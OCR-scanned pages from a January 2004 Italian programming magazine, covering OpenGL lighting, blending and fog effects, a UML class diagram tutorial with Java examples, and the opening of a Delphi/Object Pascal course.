GL_POSITION specifichiamo la posizione iniziale 
della luce. 



SMOOTH SHADIMG 

Lo smooth shading è l'effetto di gran lunga più 
semplice da realizzare tra quelli mostrati. Così 
semplice... che è già attivo in partenza! È control- 
lato da una variabile di stato e dal comando 
glShadeModel, che può accettare uno tra i valori 
GL_FLATe GL_SMOOTH; se non viene modificato, 
è già attivo quest'ultimo. 



EFFETTO BLENDING 

Il blending consente di avere il controllo su come, 
ogni nuovo pixel che sta per essere disegnato, 
verrà combinato con il pixel già presente sullo 
schermo nella stessa posizione. Le possibilità di 
combinazione sono molteplici e sono controllate 
dal comando glBlendFunc: il primo argomento 
permette di regolare il valore che assumerà il 
nuovo pixel (sorgente) e il secondo quello che avrà 
il pixel di destinazione (cioè quello già presente 
sullo schermo); normalmente, il primo ha valore 
GL_ONE e il secondo GL_ ZERO, così che ogni 
pixel nuovo andrà a rimpiazzare, completamente, 
quello sullo schermo. Il blending ha numerose 
applicazioni: non solo permette di realizzare 
superfici trasparenti, ma è anche utile per imple- 
mentare l'antialiasing, che consente di ridurre la 
scalettatura degli oggetti sullo schermo sfuman- 



^ 86/Gennaio 2004 



http://www.ioprogrammo.it 



Multimedia 



T SISTEMA 



done i contorni, come nel caso della fonte di luce: 

if (m_bLighting) { 

glColor3f(m_fAmbientl_ight[0], 

m_fAmbientLight[l], m_fAmbientLight[2]); 

glHint(GL_POINT_SMOOTH_HINT, GL_NICEST); 

glPointSize(2Q); 

glEnable(GL_POINT_SMOOTH); 

glBlendFunc(GL_SRC_ALPHA, 

GL_ONE_MINUS_SRC_ALPHA); 

glEnable(GL_BLEND); 

glBegin(GL_POINTS); 

g I Vertex4fv(m_f Lig htPos) ; 

glEndQ; 

glDisable(GL_BLEND); 

glDisable(GL_POINT_SMOOTH); 

glPointSize(l); 

} 

Nell'esempio, attiviamo il blending e disegniamo 
un punto di diametro 20 dello stesso colore della 
luce; il risultato è il punto luminoso che ruota sullo 
schermo attorno all'elicottero e rappresenta la 
nostra fonte di luce ideale. 



APPLICARE 
L'EFFETTO NEBBIA 

Abbiamo anticipato che questo effetto, pur essen- 
do molto appariscente, è altrettanto semplice da 
realizzare in OpenGL. Per prima cosa, stabiliamo 
la modalità tra tre disponibili con il comando 
glFogi e il parametro GL_FOG_MODE: possiamo 
scegliere tra GL_LINEAR, GL_EXP e GL_EXP2. 
Queste modalità corrispondono a tre diverse fun- 
zioni che regolano il modo in cui il colore di ogni 
vertice viene sfumato in base alla sua posizione 
rispetto al punto di vista dell'osservatore (linear- 
mente o in base ad un ulteriore valore di densità 
che abbiamo scelto). Nel nostro esempio utilizzia- 
mo GL_LINEAR, specificando il valore z di parten- 
za, cioè dove la nebbia sarà assente e quello di fine, 
dove la nebbia sarà così fitta che nessun oggetto 
apparirà più visibile. Dopo aver scelto il colore per 
la nebbia (uguale al colore di sfondo) è sufficiente 
attivare la sua variabile di stato con glEnable- 
(GL_FOG), perché l'effetto sia attivo su tutti gli 
oggetti che disegneremo nello spazio. 



DELL'ELICOTTERO 

Il rendering del nostro modellino, che carichiamo 
da un file in formato 3DS, rappresenta la parte più 
complessa dell'intero programma: la sua comples- 
sità è ben "nascosta" nella classe Model3D, che 



potete prelevare dal progetto ed utilizzare libera- 
mente e con facilità nelle vostre applicazioni. 
Abbiamo scelto il formato 3DS per rendere il codi- 
ce più utile possibile, visto che è uno tra i più diffu- 
si. Per il caricamento abbiamo utilizzato e integra- 
to nella nostra classe il codice sorgente disponibile 
al seguente link: www.gametutorials.com. Il meto- 
do Render si occupa di enumerare tutti gli oggetti di 
cui è composto il modellino, applicarvi una textu- 
re, se presente, e poi disegnare ogni faccia che lo 
compone, secondo la modalità che abbiamo scelto 
tra point, wireframe e solid. Data la mole di dati 
presente (l'elicottero ha circa cinquemila facce), 
abbiamo inserito la chiamata al metodo Render 
nella display UstHeliDL: in questo modo i comandi 
richiesti e tutti i cambiamenti di stato effettuati in 
base alle scelte sugli effetti verranno memorizzati 
ed eseguiti più velocemente; ogni volta che l'uten- 
te modificherà uno dei parametri, questa display 
list verrà ricreata. 



MUSICA MAESTRO! 

Il nostro framework comprende anche una classe 
per la riproduzione di brani musicali semplice ma 
funzionale; facciamo uso di FMOD, una libraria di 
terze parti molto ben realizzata, com'è confermato 
dal successo che riscuote sulla scena demo inter- 
nazionale. L'interfaccia della nostra classe, che si 
trova nel file Music.h, comprende i metodi per cari- 
care un brano musicale in memoria da un file (con 
estensione xm, mod, midi, rmi ed altre), ed iniziar- 
ne, bloccarne e terminarne la riproduzione. 
L'esecuzione di brani di questo formato è molto 
efficiente e lascia libere le risorse perché siano 
dedicate alla ben più complessa parte grafica. La 
libreria FMOD comprende comunque funzioni per 
riprodurre brani nei formati musicali più comuni, 
tra i quali il formato mp3 (troverete un esempio del 
suo utilizzo sulla mia pagina web). 

Marco Era 





Marco Era studia 
Informatica presso 
l'Università di Salerno. 
Da tre anni lavora in 
qualità di consulente 
Visual C++ e le sue 
esperienze lavorative 
hanno incluso i nomi di 
Ericsson Lab Italy e 
ITStaff S.P.A. 
Attualmente lavora 
per conto di A&Day 
alla suite MyOffice di 
Nemetschek. 
La sua pagina web è 
disponibile 
all'indirizzo: 
www.marcoera.com . 
Per contatti e feedback 
su questo articolo 
potete scrivere a: 
marco.era@ioprogrammo .it 




COME MISURARE IL FRAME RATE 



Misurare il numero di fotogrammi 
al secondo è una pratica così 
ricorrente in videogiochi e demo 
(ed è utile soprattutto in fase di 
testing sull'impatto di una nuova 
funzionalità) che abbiamo deciso di 
realizzarne un'implementazione 
generica al punto di inserirla nella 
classe base del nostro framework: 
la classe FullScreenGLApp. Una 
variabile che rappresenta il numero 
di fotogrammi visualizzati ha 



inizialmente valore nullo, e verrà 
incrementata automaticamente 
ogni volta che chiameremo il 
metodo CalculateFrameRate (sarà 
compito nostro farlo nella nostra 
classe derivata dopo aver 
aggiornato lo schermo). Dopo ogni 
secondo il valore accumulatosi di 
questa variabile verrà conservato e 
reso disponibile in un campo della 
classe e la variabile verrà azzerata 
(e così via). 



http://www.ioprogrammo.it 



Gennaio 2004/87 ► 




CORSO BASE T 



I 



Modellazione a oggetti 




Introduzion e al la progettazione visuale 



I Class Diagram 

I Class Diagram spesso rappresentano gran parte della progettazione 
del software. Come vedremo, i tool che ci consentono di disegnare 
i Class Diagram spesso generano automaticamente il codice. 




Nell'articolo precedente abbiamo conosciu- 
to UML, strumento di eccezionale flessibi- 
lità per la progettazione di sistemi softwa- 
re di qualità indipendentemente dal linguaggio e 
dal processo di sviluppo utilizzati. UML consente 
di modellare la realtà che ci circonda attraverso un 
insieme di diagrammi in grado di rendere in mo- 
dalità visuale ogni singolo aspetto del sistema che 
ci interessa. Ormai siamo in grado, attraverso un 
uso attento degli Use Case Diagram, di descrivere 
uno scenario concreto di operatività degli utilizza- 
tori di un qualunque sistema. Siamo in grado di 
affrontare il problema della progettazione di un 
sistema software dal punto di vista degli oggetti 
che lo compongono (o meglio, delle classi di 
oggetti che lo compongono) e di conseguenza di 
definire le relazioni tra questi. L'obiettivo di questo 
articolo è descrivere i Class Diagram ed imparare a 
capire la struttura di una componente software 
semplicemente guardando e leggendo il suo dia- 
gramma delle classi. 



uni APPROCCIO 
TOP-DOWN 

Nell'articolo precedente abbiamo imparato a 





















Utils 




Customer 




actlong 


#custornerld:long 
-name:String 

■ ss:String 
.»■:.::". actUtils coti a et 


+log:void 




1 


+sendEmail:void 












"' t 




\ 








Order 




CorporateCustomer 


d 


3 PersonalCustomer 




-orderld:String 
-customer:Cu sto iner 


-contactName:String 
-creditLìmitString 








+billForMonth:int 
+rernind:void 


creditCardNumberString 










I 

t7 






I 




interface 
Emptoyeetface 




interface 
Personlface 





























Fig. 1: Un completo Class Diagram. 



conoscere gli Use Case Diagram adottando una 
tecnica bottom-up, abbiamo cioè costruito alcuni 
diagrammi complessi a partire dagli elementi fon- 
damentali della grammatica UML. Questa volta, 
invece, utilizzeremo un approccio diverso: a parti- 
re da un Class Diagram dotato di tutte le caratteri- 
stiche di base, impareremo a leggerlo e di conse- 
guenza ne scopriremo tutti i dettagli della sintassi. 
Il Class Diagram in questione è quello visibile in 
Fig. 1 e contiene una struttura di classi che descri- 
ve una gerarchia di clienti, che possono essere 
clienti privati o aziendali, con i rispettivi ordini. 
Nel diagramma c'è anche una classe che contiene 
alcune funzioni di utilità. 



LE CLASSI 

Un diagramma delle classi si chiama così perché 
descrive tutte le classi di un sistema e le relazioni che 
tra queste intercorrono, ma una classe. . . cos'è? Una 
classe, secondo la definizione accademica, è una 
collezione di oggetti con simile struttura, comporta- 
mento e relazioni. Per la definizione del termine 
oggetto ci si può rifare a Bruce Eckel che dice: 

• Qualsiasi cosa è un oggetto; 

• Un sistema software è un gruppo di oggetti che 
comunicano scambiandosi messaggi; 

• Ogni oggetto ha un tipo; 

• Tutti gli oggetti di un particolare tipo possono 
ricevere e gestire gli stessi messaggi. 

Una classe, quindi, è il tipo di un oggetto, viene uti- 
lizzata per raggruppare gli oggetti con le stesse ca- 
ratteristiche di struttura e comportamento. Un dia- 
gramma delle classi, pertanto, descrive la struttura 
degli oggetti e non gli oggetti stessi, infatti nel dia- 
gramma di Fig. 1 esiste la classe Customer che 
descrive la struttura ed il comportamento di ogni 
singolo oggetto che sarà istanza di quella classe. In 



► 88/Gennaio 2004 



Modellazione a oggetti 



T CORSO BASE 



particolare la struttura della classe viene descritta 
attraverso l'elenco degli attributi (o proprietà), men- 
tre il comportamento viene descritto attraverso l'e- 
lenco dei metodi (o operazioni). Ecco quindi il pri- 
mo dei mattoni fondamentali di un Class Diagram: 
l'elemento classe. Nel diagramma di Fig. 1 sono pre- 
senti ben sette classi distinte che descrivono sette 
diverse tipologie di possibili oggetti. Analizziamo 
adesso il generico elemento classe, in questo modo 
saremo in grado di capire i dettagli delle classi pre- 
senti in Fig. 1. 

In UML una classe è rappresentata come un rettan- 
golo diviso in quattro sezioni orizzontali, un esem- 
pio di dettaglio è visibile in Fig. 2. 







d 


3 NomeClasse 


Narne Cornpartrnent L\ 


+putilicAttribute:long 
#p rote cte dAttri b ute : Stri n g 
-privateAttribute:String 
packagel_ocalAttribute:int 


Attribute Cornpartrnent 1— i. 


+publicMethod:void 
#p rote cte dMethod:void 
pa:kagel_ocalMethod:void 
-privateMethod:void 
+staticMethod:void 
+ abstractMettìotvoid 


Operation Compartment l\ 


beanProperty:int 


Properties Cornpartrnent L\ 









Fig. 2: Le sezioni che compongono un elemento Class. 

Le sezioni (dall'alto verso il basso) sono le seguenti: 

• name compartment: contiene il nome della 
classe scritto in carattere grassetto, se si tratta di 
un'interfaccia è presente il modificatore interfa- 
ce e se la classe è astratta il nome della classe sa- 
rà scritto in carattere corsivo; 

• attribute compartment: contiene la lista di tutti 
gli attributi della classe, esistono modificatori vi- 
suali per definire le caratteristiche di visibilità e 
di comportamento dei singoli attributi; 

• operation compartment: contiene la lista di 
tutti i metodi utilizzabili sulla classe, esistono 
modificatori visuali per definire le caratteristi- 
che di visibilità e di comportamento dei singoli 
metodi; 

• properties compartment: contiene la lista di 
tutte le proprietà della classe, una proprietà si 
differenzia da un attributo perché per essa esi- 
stono implicitamente alcuni metodi propri della 
sintassi JavaBeans {getter e setter). 

Adesso che abbiamo queste prime nozioni possia- 
mo rivedere il diagramma di Fig. 1 ed a questo punto 
possiamo capire che il nostro sistema software è 
composto complessivamente da sette classi e tra 
queste vi sono: 



• tre classi "tradizionali": Customer, Order e Corpo- 
mteCustomer 

• un bean: PersonalCustomer (si riconosce anche 
per il quadratino aggiuntivo in alto a sinistra) 

• due interfacce: Employeelface e Personlface 

• una classe astratta: Utils 



I MODIFICATORI 

Dal punto di vista di un linguaggio di programma- 
zione, un modificatore è una parola chiave (key- 
word) che, quando viene associata alla definizione 
di un componente del linguaggio, ne modifica il 
comportamento. Facciamo subito un esempio in 
Java per chiarire il concetto. Per scrivere la definizio- 
ne di una classe si usa questa sintassi: 

public class NomeClasse { 

public static void nomeMetodo(int parametro) { 
} 

} 

Se intendiamo modificare il comportamento o la 
struttura della classe, per esempio rendendola 
astratta, inseriamo un modificatore: 

abstract public class NomeClasse { 

public static void nomeMetodo(int parametro) {} 
} 

Abbiamo inserito il modificatore abstract e } la classe, 
è diventata una classe astratta. Poiché UML è un lin- 
guaggio di progettazione visuale, non è consentito 
utilizzare modificatori testuali per rappresentare 
mutazioni al comportamento delle classi e degli 
oggetti, quindi esiste una rappresentazione grafica 
per ciascuno dei modificatori classici dei linguaggi 
object oriented. Questi modificatori visuali sono 
solitamente posti immediatamente prima del nome 
dell'elemento che vogliamo modificare, come si 
vede bene in Fig. 2. Ecco i modificatori più utilizzati 
per gli attributi ed i metodi contenuti nelle classe, ad 
ogni modificatore è associato il suo significato. 

• assenza di modificatori: elemento classificato 
come package locai (accessibile soltanto da altri 
elementi contenuti all'interno dello stesso 
package). 

• modificatore +: l'elemento è public. 

• modificatore #: l' elemento è protected. 

• modificatore -: l'elemento è private. 




BIBLIOGRAFIA 



Il testo che non può 
mancare nella 
biblioteca di chi scrive 
UML: 

• THE UNIFIED 
MODELING LANGUAGE 
USER GUIDE 

Booch, Jacobson, 
Rumbaugh 
(Addison Wesley) 
1999 

Altri testi interessanti 
sull'argomento: 

• OBJECT ORIENTED 
SOFTWARE 
CONSTRUCTION, 
SECOND EDITION 
Bertrand Meyer 
(Prentice Hall) 
1997 

• VISUAL MODELING 
WITH RATIONAL AND 
UML 

Terry Quatrani 
(Addison Wesley) 
1998 



Gennaio 2004/89 ► 




CORSO BASE T 



I 



Modellazione a oggetti 






UML 



Qui di seguito l'elenco 

dei contributor che 

hanno adottato come 

standard UML, i quali 

provvedono alla sua 

divulgazione e che 

hanno aderito e 

tuttora contribuiscono 

al suo sviluppo: 

Accenture 

Ericsson 

Hewlett-Packard 

l-Logix 

IBM 

ICON Computing 

Intel licorp 

ISE 

MCI Systemhouse 

Microsoft 

ObjectTime 

Oracle Platinum 

Technology 

Computer Associates 

PTech 

Rational Software 

Reich Technologies 

Softeam 

Steri ing Software 

Taskon 

Texas Instruments 

Unisys 



• sottolineatura: l'elemento è static. 

• corsivo: l'elemento è abstract. 

A questo punto, possiamo leggere più nel dettaglio il 
diagramma di Fig. 1 per capire di che tipo sono gli 
attributi ed i metodi all'interno di ciascuna classe. 
Ecco quello che adesso siamo in grado di capire: 

• la classe Customer ha due attributi protected, due 
private ed un metodo public; 

• la classe CorporateCustomer ha due attributi pri- 
vate e due metodi public; 

• la classe Order ha soltanto due attributi private; 

• le due interfacce Employeelface e Personlface 
non hanno né metodi né tantomeno attributi 

• la classe astratta Utils ha un attributo ed un me- 
todo, entrambi public 

Un discorso a parte merita la classe PersonalCusto- 
mer perche essendo un bean (secondo la sintassi 
Java) non può avere attributi, a meno che questi non 
siano proprietà. Le proprietà di un bean devono 
essere sempre private e devono avere dei metodi 
public di accesso alle informazioni contenute nelle 
proprietà. Inoltre questi metodi devono avere una 
nomenclatura standard. Nella sintassi UML dei 
Class Diagram quindi non è necessario indicare co- 
me private le proprietà in quanto non potrebbero 
avere altri modificatori. Non è neppure necessario 
indicare i nomi dei metodi di accesso alle proprietà 
in quanto si sa che ci devono essere e se ne conosce 
in anticipo la nomenclatura. Nell'ottica di progetta- 
re un bean all'interno di una struttura di classi sarà 
quindi necessario indicare unicamente il nome 
delle proprietà ed il loro tipo. Vediamo, per chiarire 
meglio il concetto, il codice Java del bean Personal- 
Customer rappresentato in Fig. 1: 

public class PersonalCustomer extends Customer 
implements Personlface { 

private String creditCardNumber; 

public String getCreditCardNumber(){ return 
creditCardNumber; } 

public void setCreditCardNumber(String 
creditCardNumber) 

{ this.creditCardNumber = creditCardNumber; } 
} 

Come si può vedere, la proprietà creditCardNum- 
ber è effettivamente indicata come private ed i due 
metodi getCreditCardNumber e setCreditCard- 
Number esistono anche se nel Class Diagram non 
compaiono in quanto sono obbligatori e quindi 



vengono dati per scontati. 



LE RELAZIONI 

La descrizione di un sistema software ad oggetti pre- 
vede, come sappiamo, la presenza di classi che de- 
scrivono la struttura di tutte le componenti del siste- 
ma attraverso la definizione dell'elenco degli attri- 
buti di tutti i singoli oggetti e le operazioni che su 
questi possono essere eseguite. Normalmente però 
le classi di oggetti hanno significato soltanto se tra 
loro esiste un qualche tipo di relazione in grado di 
descriverne l'appartenenza ad una qualche gerar- 
chia oppure l'utilizzo di un certo tipo di oggetto da 
parte di un altro. 



RELAZIONI 
GERARCHICHE 

Le relazioni di tipo gerarchico servono a collocare le 
classi di un sistema software all'interno di una gerar- 
chia di oggetti tipica dei sistemi object oriented. 
Le relazioni di questo tipo consentono di identifica- 
re le classi di oggetti in funzione delle rispettive su- 
perclassi e sottoclassi. Poiché non tutte le imple- 
mentazioni dei linguaggi ad oggetti consentono l'e- 
reditarietà multipla, cioè la possibilità per una clas- 
se di ereditare attributi e metodi comportamentali 
da più di una superclasse, le relazioni di gerarchia 
devono consentire anche l'individuazione di quali 
interfacce debbano essere implementate dalle sin- 
gole classi. Un esempio delle relazioni gerarchiche a 
disposizione in UML è visibile in Fig. 3 dove abbia- 
mo tre classi (HtmlStream, WmlStream e Xml- 
Stream) che sono tutte sottoclassi della classe 
Stream, ma contemporaneamente implementano 
anche l'interfaccia Browsable. Da questo piccolo 
esempio si può quindi capire che per indicare una 



















interface 
Bìowsahie 












^_----'"~ 




i 

i 










HmtlStream 




WmlStrem 




XmlStrem 






















^ , 










Stream 

























Fig. 3: Le relazioni gerarchiche tra le classi. 



* 90/Gennaio 2004 




Modellazione a oggetti 



i 



T CORSO BASE 




relazione tra una classe ed una sua sottoclasse è 
necessario utilizzare una freccia continua orientata 
verso la classe padre, mentre per indicare una rela- 
zione tra una classe e le interfacce che questa imple- 
menta è necessario utilizzare una freccia tratteggia- 
ta orientata verso l'interfaccia da implementare. 
Proviamo a vedere il codice Java che implementa la 
classe HtmlStream: 

package corri. relazioni 1; 

public class HmtlStream extends Stream implements 

Browsable { 

// codice sorgente della classe } 

Come si può vedere dal codice questa classe Java 
estende la classe Stream ed implementa l'interfaccia 
Browsable. Torniamo al nostro esempio completo di 
Fig. 1. Adesso che abbiamo anche le nozioni legate 
alle relazioni gerarchiche tra le classi possiamo capi- 
re che: 

• le classi CorporateCustomer e PersonalCustomer 
sono entrambe sottoclassi della classe Cu- 
stomer; 

• l'interfaccia Employeelface è sottoclasse dell'in- 
terfaccia Personlface; 

• la classe CorporateCustomer implementa l'in- 
terfaccia Employeelface; 

• la classe PersonalCustomer implementa l'inter- 
faccia Personlface. 



RELAZIONI 



Come le relazioni gerarchiche identificano la collo- 
cazione di una classe all'interno di una precisa ge- 
rarchia, le relazioni di dipendenza identificano l'uti- 
lizzo di una certa classe all'interno di un'altra e di 
conseguenza la dipendenza tra due oggetti dove uno 
utilizza un'istanza di un altro. 
In Fig. 4 possiamo vedere un primo esempio di rela- 
zione di dipendenza tra gli oggetti, in particolare la 
classe Azienda utilizza un oggetto istanza della clas- 
se Persona e due oggetti istanze della classe Indiriz- 
zo, pertanto tra questi oggetti possiamo dire che esi- 
sta una relazione di dipendenza evidenziata dalle 

















Azienda 




Persona 




-Amministrato rePersona 

-Sede:lndirizzo 

-DomicilioFiscale:lndirizzo 


-Domicilicdndirizzo 


















Indirizzo 























frecce blu. Ecco la prima regola da ricordare: una 
relazione di dipendenza è indicata da una freccia 
aperta. Le relazioni di dipendenza possono essere di 
tre tipologie diverse: 

• associazione: mette in relazione oggetti diversi 
per creare uno scenario complesso. 

• composizione. 

• aggregazione. 

Vediamo qualche esempio di relazioni di dipenden- 
za: 

Dipendenza per associazione 

Un esempio di relazione di dipendenza per asso- 
ciazione è visibile in Fig. 5, dove si vede che la clas- 
se Spettacolo è associata ad uno o più istanze della 
classe Luogo, infatti uno spettacolo può essere fat- 
to in un singolo luogo oppure in più luoghi diversi. 

















Spettacolo 




Biglietto 




-Località:Luogo 


-Costo:lnt 








A 










1.* 

\ 


/ 


1..* 








Indirizzo 


1 


Luogo 




-Tipologia:int 


-Indirizzo Luogo:lndirizzo 

-PostiDisponibili:Long 

-TicketBiglietto 

























Fig. 4: Le relazioni di dipendenza tra le classi. 



Fig. 5: Associazioni tra classi. 

La classe Luogo è associata ad una o più istanze 
della classe Biglietto, infatti il numero ed il costo dei 
biglietti di uno spettacolo dipende dal luogo in cui 
si tiene lo spettacolo stesso. Ogni luogo, natural- 
mente, è associato ad uno ed un solo indirizzo: 
ecco spiegata la relazione di associazione tra la 
classe Luogo e la classe Indirizzo. In questo esem- 
pio abbiamo iniziato a parlare di numerosità degli 
elementi in relazione alle associazioni: un luogo è 
associato ad uno ed un solo indirizzo, uno spetta- 
colo può essere associato ad uno o più luoghi e così 
via. Per descrivere la numerosità degli elementi che 
concorrono in una relazione di associazione si uti- 
lizzano gli identificatori di molteplicità, cioè quei 
numeri che, vicini alla freccia che identifica la rela- 
zione, esprimono il concetto di numerosità degli 
elementi. Le molteplicità che possono essere asso- 
ciate alle relazioni di dipendenza sono illustrate in 
Fig. 6 ed hanno il seguente significato: 

• .. 1: indica che l'oggetto destinazione delle 




C^^B 



IL CONSORZIO 
OMG 

OMG (Object 
Management Group) è 
il comitato di 
standardizzazione 
delle tecnologie a 
object oriented. 
Tutti gli standard 
finora approvati 
dall'ente di 
standardizzazione 
sono poi diventati 
standard de facto, a 
conferma della qualità 
della procedura di 
standardizzazione. 
Nel Gennaio del 1997 
la versione 1.0 di UML 
viene offerta per la 
standardizzazione al 
consorzio OMG. Poco 
più tardi, esattamente 
il 14 Novembre dello 
stesso anno, OMG 
adotta la versione 1.1 
come standard. 
La notazione prende 
piede a partire dalla 
versione 1.3; oggi UML 
è sicuramente la 
metodologia di analisi 
e design ad oggetti più 
diffusa ed adottata in 
ambito professionale. 



Gennaio 2004/91 U 




CORSO BASE T 



I 



Modellazione a oggetti 





cu 
> 

1 

> 

0.* 

> 

1..* 
> 




Il sito ufficiale 
del linguaggio UML: 

www.uml.org 

Il sito del Object 
Management Group: 

www.omg.com 

La sezione UML sul sito 
di Rational Software: 

www.rational.com/uml 



Fig. 6: Molteplicità nelle associazioni. 

freccia può esistere o meno, ma se esiste ce riè 
uno solo; 

• 1: indica che i due oggetti sono legati da una 
relazione diretta, l'esistenza di uno prevede l'e- 
sistenza dell'altro e viceversa; 

• .. *: indica che l'oggetto destinazione delle 
freccia può esistere o meno in un numero qual- 
siasi di istanze; 

• 1 .. *: indica che l'oggetto destinazione della 
freccia deve esistere in un numero qualsiasi di 
istanze a condizione che ne esista almeno una. 

• n .. *: indica che l'oggetto destinazione delle 
freccia deve esistere in un numero qualsiasi di 
istanze a condizione che ne esistano almeno n. 




I DIAGRAMMI UML 

UML si compone di una serie di dia- 
grammi che permettono di definire 
e progettare un sistema nella sua 
interezza. 
I diagrammi a disposizione sono: 

Use Case Diagram 
Class Diagram 
Component Diagram 
Deployment Diagram 
State Chart Diagram 
Activity Diagram 
Sequence Diagram 



Collaboration Diagram 

Esistono poi diagrammi fuori dallo 
standard UML che consentono di 
descrivere altri aspetti del sistema, 
come ad esempio: 

• Entità Relationship Diagram per 
definire le entità del sistema e 
le relazioni tra esse 

• Web Application Diagram per 
definire le architetture delle 
applicazioni web. 



PER AGGREGAZIONE 

La dipendenza per aggregazione indica la relazio- 
ne tra un tutto e le sue parti. Un esempio di rela- 
zione di dipendenza per aggregazione è visibile in 
Fig 7, dove si vede che la classe Poligono è compo- 
sta da tre o più istanze della classe Lato. Le rela- 













Poligono 


3.* 
o > 


Lato 


-lato:l_ato 


-lunghezza:int 

















zioni di dipendenza per aggregazione si distin- 
guono graficamente da quelle per associazione in 
quanto la freccia ha, sul lato opposto rispetto alla 
punta, un piccolo rombo vuoto. 



PER COMPOSIZIONE 

La dipendenza per aggregazione indica la relazio- 
ne tra un contenitore ed i suoi contenuti. Un 
esempio di relazione di dipendenza per composi- 
zione è visibile in Fig. 8, dove si vede che la classe 
Template è un contenitore che ha al suo interno 















Template 




-header:Header 
-body:Body 
-footer: Footer 




1 y* 






* * 
1 V 






1^N^ 


Header 




Body 




Footer 





























Fig. 7: Aggregazione tra classi. 



Fig. 8: Composizione tra classi. 

esattamente tre oggetti: un Header, un Body ed un 
Footer. Le relazioni di dipendenza per composizio- 
ne si distinguono graficamente da quelle per asso- 
ciazione e da quelle per aggregazione in quanto la 
freccia ha, sul lato opposto rispetto alla punta, un 
piccolo rombo pieno. 



CONCLUSIONI 

Dopo aver descritto a fondo tutte le possibili rela- 
zioni tra le classi abbiamo tutti gli elementi per 
completare la lettura del diagramma di Fig. 1, di- 
cendo che ogni ordine ha al più un acquirente. 
Infatti, all'interno della classe Order esiste l'ogget- 
to customer che è istanza della classe Customer. 
In questo articolo abbiamo analizzato i Class Dia- 
gram che sono una delle componenti fondamen- 
tali nella progettazione e nella realizzazione di un 
sistema software object oriented. Abbiamo ana- 
lizzato tutti gli elementi più importanti che com- 
pongono un Class Diagram ed abbiamo imparato 
a conoscere le relazioni che intercorrono tra i sin- 
goli elementi di un diagramma, compresi i criteri 
di numerosità degli oggetti. A questo punto siamo 
in grado di leggere qualunque Class Diagram che 
utilizzi questi elementi standard di UML. 

Massimo Canducci 



* 92/Gennaio 2004 



Delphi 



T CORSI BASE 



Alla scoperta dell'ambiente ch e h a clonato una n uova giovinezz a al Pasc al 

Delphi: corso 
di Object Pascal 

Apprendiamo insieme il linguaggio che è alla base di uno degli 
strumenti di sviluppo più popolari e all'avanguardia dei nostri tempi! 



parte prima 



Con l'occasione affronteremo in una serie di 
articoli alcuni degli argomenti più caldi della 
programmazione ad oggetti e confronteremo 
tra loro le caratteristiche degli altri linguaggi in circo- 
lazione... Un certo vincolo affettivo mi lega al Pascal, 
in quanto alla base di un corso di informatica che 
avevo seguito alle scuole medie c'era proprio lui, ed è 
grazie a quel primo corso di ormai quasi 20 anni fa che 
io oggi sono un professionista dell'IT. Ma al di là del- 
l'affetto, che non è necessariamente un buon motivo 
per intraprendere una serie di articoli come questa, 
dobbiamo riconoscere al Pascal una grande impor- 
tanza storica e didattica, a prescindere dal fatto che 
oggi sia decisamente meno comune trovarlo nelle 
aule di informatica. Un altro fattore che contribuisce 
alla sua validità come linguaggio moderno è la grossa 
spinta di rivitalizzazione che ha ricevuto dall'uscita 
sul mercato di Delphi e dalle continue revisioni e ag- 
giustamenti che ha subito e subisce in conseguenza di 
questa uscita. 



CENNI STORICI 

Il Pascal nasce come revisione dell'ALGOL da parte 
del Dr Niklaus Wirth, dello Swiss Federai Institute of 
Technology di Zurigo. Nel 1971 Wirth presenta le spe- 
cifiche del nuovo linguaggio che verrà chiamato 
Pascal in onore di Blaise Pascal, filosofo e matemati- 
co francese del XVII secolo che costruì il primo ap- 
parecchio meccanico- digitale che si possa definire 
computer. Rispetto all'ALGOL, che non ebbe una 
diffusione spettacolare a causa delle difficoltà di im- 
plementazione dei compilatori sulle diverse piat- 
taforme dell'epoca, il Pascal ebbe subito una discre- 
ta popolarità grazie al Prof. Ken Bowles della Uni- 
versità della California in San Diego, il quale creò un 
compilatore per l'Apple II, il computer più diffuso in 
quel periodo. Il Pascal divenne così lo standard di 
programmazione per la Apple e, quando la casa 
americana iniziò a produrre i primi Macintosh, fu 
adottato come linguaggio base per le API e tutti gli 



esempi di programmazione del nuovo modello di 
PC. Agli inizi degli anni 80, il Pascal ricevette due 
ulteriori slanci: da un lato, l'Educational Testing 
Service, la compagnia che scrive ed amministra il 
principale esame d'ammissione alle università degli 
Stati Uniti, aggiunse un esame di Informatica al suo 
syllabus e scelse il Pascal appunto come argomento 
teorico e pratico. Da un altro lato, la Borland Inter- 
national immise sul mercato il suo rivoluzionario 
compilatore, il Turbo Pascal. Al di là di qualche mini- 
ma differenza rispetto al Pascal originale, questo 
compilatore produceva file eseguibili ad una velo- 
cità sbalorditiva per quel periodo ed era di dimen- 
sioni decisamente ridotte rispetto agli altri compila- 
tori dell'epoca. Ma il successo del Pascal non era 
destinato a durare per sempre. A seguito della cre- 
scente diffusione e popolarità del C, il linguaggio og- 
getto della nostra attenzione iniziò a perder terreno 
ed il colpo di grazia fu la nascita del C++ e della pro- 
grammazione orientata agli oggetti, per la quale il 
Pascal originale non forniva alcun tipo di supporto. 
Nel 1999 l'Educational Testing Service americano 
eliminò il Pascal dall'esame di informatica in favore 
del C++, che a sua volta venne presto rimpiazzato da 
Java. Al giorno d'oggi il linguaggio dedicato al filo- 
sofo francese non gode sicuramente più della popo- 
larità di una volta, ma è comunque un linguaggio 
vivo e moderno, ed ha subito delle variazioni nel 
corso del tempo che l'hanno portato al passo con 
l'evoluzione delle tecniche di programmazione. In 
particolare oggi troviamo delle estensioni sintattiche 
che rendono il Pascal un linguaggio orientato agli 
oggetti come il C++ ed il Java, ed è per questo che 
ormai si parla già di Object Pascal. 



A COSA SERVE 
IL PASCAL OGGI? 

Il Pascal resta uno dei linguaggi più interessanti per 
chi vuole imparare a programmare o per chi voglia 
programmare a livello avanzato. Infatti possiede 




LJCDQ web 

.zip 



w M 




REQUISITI 



L'applicazione di questo 
articolo è stata creata 
con la seguente 
configurazione PC: 

• Penti um4 2.60GHz, 
512Mb RAM 

• Sistema Operativo: 
Windows XP Home SP1 

Software: 

• Delphi Enterprise 7 

È possibile scaricabile 
Delphi in versione di 
prova dal sito 
www.borland.com . 
È richiesta una 
registrazione gratuita a 
fronte della quale si 
riceverà la licenza 
temporanea di utilizzo 
del prodotto. Ai fini di 
questo corso, anche se 
non state testate, sono 
sicuramente adatte 
anche versioni 
precedenti di Delphi 
(5 o 6, per esempio). 



Gennaio 2004/93 ► 




CORSI BASE T 



I 



Delphi 





delle caratteristiche che lo rendono adatto alla di- 
dattica, ma al tempo stesso offre una flessibilità ed 
una potenza paragonabili a quelle del C++, di fatto 
uno degli strumenti di sviluppo più completi e 
